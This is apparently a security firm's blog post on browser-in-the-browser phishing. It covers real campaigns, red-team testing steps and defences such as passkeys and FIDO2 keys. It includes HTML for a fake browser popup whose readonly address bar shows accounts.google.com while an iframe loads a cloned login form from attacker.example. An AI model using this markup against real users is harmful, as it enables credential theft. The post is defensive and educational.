The URL bar is not lying to you. The window around it is.

Security awareness training for a decade has taught users one thing above all others: check the URL. Look at the address bar before entering your credentials. If the domain matches, you are on the right site. Users are trained to check the address bar, and that is precisely the habit this attack turns against them.

Browser-in-the-browser attacks make checking the URL irrelevant. The address bar that shows the correct domain is not a browser address bar. It is a div element, rendered in HTML and CSS, inside a fake popup window that sits within the attacker's actual page. The real address bar, which correctly shows the attacker's domain, is up at the top of the screen, where the user is no longer looking because the convincing popup has their attention.

The technique was published by the researcher mr.d0x in March 2022, complete with ready-made window templates. It did not stay a proof of concept. In November 2025 the Phishing-as-a-Service kit Sneaky2FA added a BitB module for stealing Microsoft 365 credentials. Mimecast's threat research team documented a BitB campaign that appears to favour UK finance businesses on 24 June 2026. CTM360 and Zimperium are tracking RecruitTrap, a recruitment-themed campaign that impersonates hiring processes at enterprises including Amazon, Apple, Emirates, Boeing, Deloitte, and Lego and uses BitB to harvest corporate credentials.

The training that was supposed to protect users is the reason this attack works.

---

Why checking the URL used to be the right advice

Traditional phishing fakes the website. The attacker registers micosoft-login.com or accounts-google.com, clones the login page's HTML, and hopes the user does not scrutinise the domain in the address bar.

URL inspection defeats this entirely. If micosoft-login.com is not microsoft.com, the page is fake. Password managers reinforce this: they autofill only when the domain matches the stored credential's domain. Hardware security keys bind the authentication cryptographic challenge to the origin. All three controls rely on the same assumption: the address bar is authoritative.

SSO flows added a wrinkle. When a user clicks "Sign in with Google" on a third-party website, a popup appears. The popup shows accounts.google.com. The user has been trained that this popup is safe as long as the domain in the popup's address bar is correct. This became a trusted UI pattern across enterprise and consumer applications. Users are conditioned to enter credentials into popup windows without thinking about which window is actually the browser and which is a div element.

BitB exploits the conditioned trust in that popup pattern, not any technical flaw in browsers or authentication protocols.

---

How the fake window is built

The attack renders an HTML element that looks exactly like a browser popup window. On Windows, this means a title bar with minimize, maximize, and close buttons in the correct Windows style. An address bar showing the legitimate SSO domain. A loading spinner in the correct position. A scrollbar if the page is long enough to need one.

The address bar is a non-interactive input element styled to look like a real browser address bar:

<!-- The fake browser window container -->
<div class="browser-popup" style="
  width: 450px;
  height: 560px;
  position: fixed;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  box-shadow: 0 0 12px rgba(0,0,0,0.4);
  border-radius: 8px;
  z-index: 9999;
  background: white;
">
  <!-- Fake title bar -->
  <div class="title-bar" style="background: #dee1e6; padding: 8px; border-radius: 8px 8px 0 0;">
    <!-- real kits use SVG icons for minimize/maximize/close -->
    <span class="window-controls"><svg width="12" height="12"><!-- close icon --></svg></span>
  </div>

  <!-- Fake address bar showing the legitimate SSO domain -->
  <div class="address-bar" style="background: #f1f3f4; padding: 6px 12px; display: flex; align-items: center;">
    <span class="lock-icon"><svg width="12" height="12"><!-- padlock icon --></svg></span>
    <input type="text" value="https://accounts.google.com/signin/oauth"
           style="border: none; background: transparent; width: 100%; outline: none; font-size: 14px;"
           readonly>
  </div>

  <!-- The actual phishing content: a cloned Google login form -->
  <iframe src="https://attacker.example/google-clone.html" style="width: 100%; height: calc(100% - 70px); border: none;"></iframe>
</div>

Everything inside that div is under the attacker's control. The padlock is a drawn icon, not a TLS indicator. The URL is a readonly text field. The form that collects credentials loads from the attacker's own domain.

The outer page, the one whose URL actually appears in the real browser address bar, can be any content the attacker uses as a pretext. A gaming tournament site that requires signing in with Google to participate. A job application portal that requires signing in with LinkedIn. A file sharing notification that requires signing in with Microsoft. The real URL is the attacker's domain. But users are looking at the fake popup, not the real address bar.

---

Why it works where traditional phishing now fails

Password managers will not autofill the fake login form. The manager checks the actual page origin, which is the attacker's domain. This is one defence that BitB does not defeat.

But password managers only help users who have the credential stored and are relying on autofill. A user who has not stored the credential, or who manually types their password, receives no protection from the password manager's origin check.

Hardware security keys (FIDO2/WebAuthn) bind the authentication challenge to the origin domain. A credential registered to accounts.google.com will not authenticate on the attacker's page regardless of what the page looks like. This is the control that definitively defeats BitB.

The gap is that phishing-resistant authentication is not enforced everywhere. Wherever a password or a one-time code is still accepted, the account stays phishable.

The one hard limit is the edge of the real browser window. A genuine popup is a separate OS window and can be dragged onto a second monitor or past the edge of the parent window. A fake popup is a page element: it can be made draggable with a few lines of JavaScript, and at least one kit does exactly that (the Mimecast campaign's fake window has a draggable title bar and a maximize toggle), but it can never leave the page it is drawn on. It gets clipped at the browser's edge. So the fact that a window moves proves nothing; only whether it can cross the window boundary does.

---

Real-world targeting

The kits that ship BitB are not aimed at one platform. Sneaky2FA is an adversary-in-the-middle kit targeting Microsoft accounts: its phishing server talks to the Microsoft 365 API directly, relaying the victim's login in real time and capturing the session cookie, which is what lets it bypass multi-factor authentication even when the user has it enabled. The BitB window is the front end that makes the fake login look legitimate.

The Mimecast-documented campaign, which appears to favour UK finance businesses, drew a full fake desktop window, complete with title bar, window controls, padlock, and an address bar showing a clean login URL, and pre-seeded the victim's email address so the fake login looked personalised.

RecruitTrap shows why corporate accounts are the prize. The campaign impersonates recruiters and hiring processes, and on a desktop it opens a BitB sign-in window styled as a legitimate corporate login. On mobile, where there is no desktop browser chrome to imitate, the kit swaps the BitB frame for a full-screen counterfeit login page; with no window chrome to inspect, the visual cues a user might check are gone, though a mobile browser still has an address bar of its own. Corporate credentials captured this way can become a foothold into everything that account reaches, not just the application the phishing page pretended to be.

---

Testing

Building a red team simulation of a BitB attack requires minimal technical skill. The public mrd0x/BITB repository on GitHub contains ready-built Chrome templates for Windows and macOS in light and dark mode, plus a delayed-load variant. The templates include the window chrome, address bar styling, and padlock for each platform.

For an authorised assessment:

1. Deploy the template on a controlled domain
2. Configure the iframe inside the fake popup to load a credential capture page that logs submissions
3. Craft a pretext that creates a believable reason for an SSO popup to appear (file access, meeting invitation, application portal)
4. Deliver the pretext URL to test users through email, Slack, or SMS
5. Observe whether users enter credentials into the fake popup

The test measures whether users attempt to interact with the fake window, not just whether they notice the wrong URL. Users who check the URL in the fake popup will see the correct domain and proceed. That is the point.

Test whether your password manager detects it. Open the BitB page in a browser with the password manager installed. If the manager does not autofill the credentials form inside the fake popup, it has correctly identified the real origin. If it does autofill, the implementation has a flaw.

Test the window boundary, not the drag. Try to drag the popup past the edge of the browser window or onto a second monitor. A real popup leaves the window; a fake one is clipped at the edge because it is part of the page. Note that the popup moving at all proves nothing: the kit in the Mimecast campaign has a draggable title bar. What a page element cannot do is cross the browser boundary.

---

Fixing it

The technical controls are tiered by effectiveness.

Origin-bound authentication is the fix, if weaker factors are removed. Hardware FIDO2 keys and device-bound passkeys tie the authentication challenge to the legitimate domain, so the attacker's page cannot complete it however convincing the UI looks. The caveat is the downgrade path: if a phishing-resistant method sits alongside a weaker backup (a one-time code, push approval), the attacker's page can simply present the weaker option, and the account is phishable again. The control only holds when the weaker factors are disabled or blocked by policy for those accounts.

Enforce conditional access on login from unmanaged devices. A BitB-captured credential used from the attacker's device triggers a new device alert and potentially a device compliance failure if conditional access is configured. This does not stop credential capture but limits what the attacker can do with it.

Consider client-side detection, with realistic expectations. Detection logic that inspects the DOM for position: fixed containers styled to look like a browser address bar can flag some current BitB templates. This is inherently arms-race-prone: attackers change the markup, and it catches known patterns rather than the technique. Treat it as one layer, not a control you rely on.

Security awareness training specifically around BitB. Training that only teaches users to check the URL is insufficient here, because the URL they check is correct. Cover the technique explicitly: the window-boundary test, and the rule that a legitimate SSO prompt opens as a separate browser window rather than inside a web page's content area.

---

Detection

Monitor for credential submission to unexpected origins. Where an egress proxy already performs TLS inspection, logs of form POST destinations filtered for credential-shaped data going to unknown domains can catch BitB exfiltration even when the source page looks legitimate. Without TLS inspection the destination is encrypted, so this depends on infrastructure you may or may not have.

Alert on SSO authentication from unrecognised devices. The credential submitted through a BitB page goes to the attacker's infrastructure. The attacker then uses it from their own device. The SSO platform sees authentication from a new device, new IP, and often a new geographic location. Conditional access policies that alert on or block new device logins for sensitive applications catch this at the use stage.

Impossible travel and new device alerts in your identity provider are the post-capture detection signal. They do not prevent capture, but they flag the use of captured credentials in time for account containment.

Phishing simulation results that include BitB scenarios are the measurement tool. If your simulated BitB campaign has a significantly higher click-to-credential-submission rate than your standard phishing simulations, your user population has specifically this gap. The number to watch is not open rate or click rate but credential submission rate on the fake popup.

---

Take this away

Training users to check the URL bar created a conditioned trust in a UI element that attackers can now render in HTML. The address bar that shows the correct domain is a <div>. The padlock is a drawn icon. The form that receives the credentials is on the attacker's server.

The fix for this attack class is origin-bound authentication, hardware security keys or software passkeys, not better URL inspection. Improving users' ability to check URLs more carefully will not help against an attack that shows them the correct URL.

Some PhaaS kits, Sneaky2FA among them, now ship a BitB module, and ready-made templates are public. The skill needed to deploy this attack is low, and no amount of URL-checking training closes it.

A phishing simulation only measures this gap if it actually includes a BitB scenario and scores credential submission rather than clicks. Assumed Breach's phishing campaigns service runs exactly that kind of controlled test.

---

Further reading

• mr.d0x: Browser-in-the-Browser (BITB) attack, original research (2022)
• Mimecast Threat Research: Browser-in-the-Browser phishing campaign (June 2026)
• The Hacker News: Sneaky2FA phishing kit adds BitB pop-ups (November 2025)
• Sekoia: Sneaky 2FA, a new AiTM phishing-as-a-service
• CTM360: RecruitTrap, Browser-in-the-Browser recruitment scams
• Zimperium: RecruitTrap targets enterprise credentials on mobile (August 2026)
• GitHub: mrd0x/BITB template repository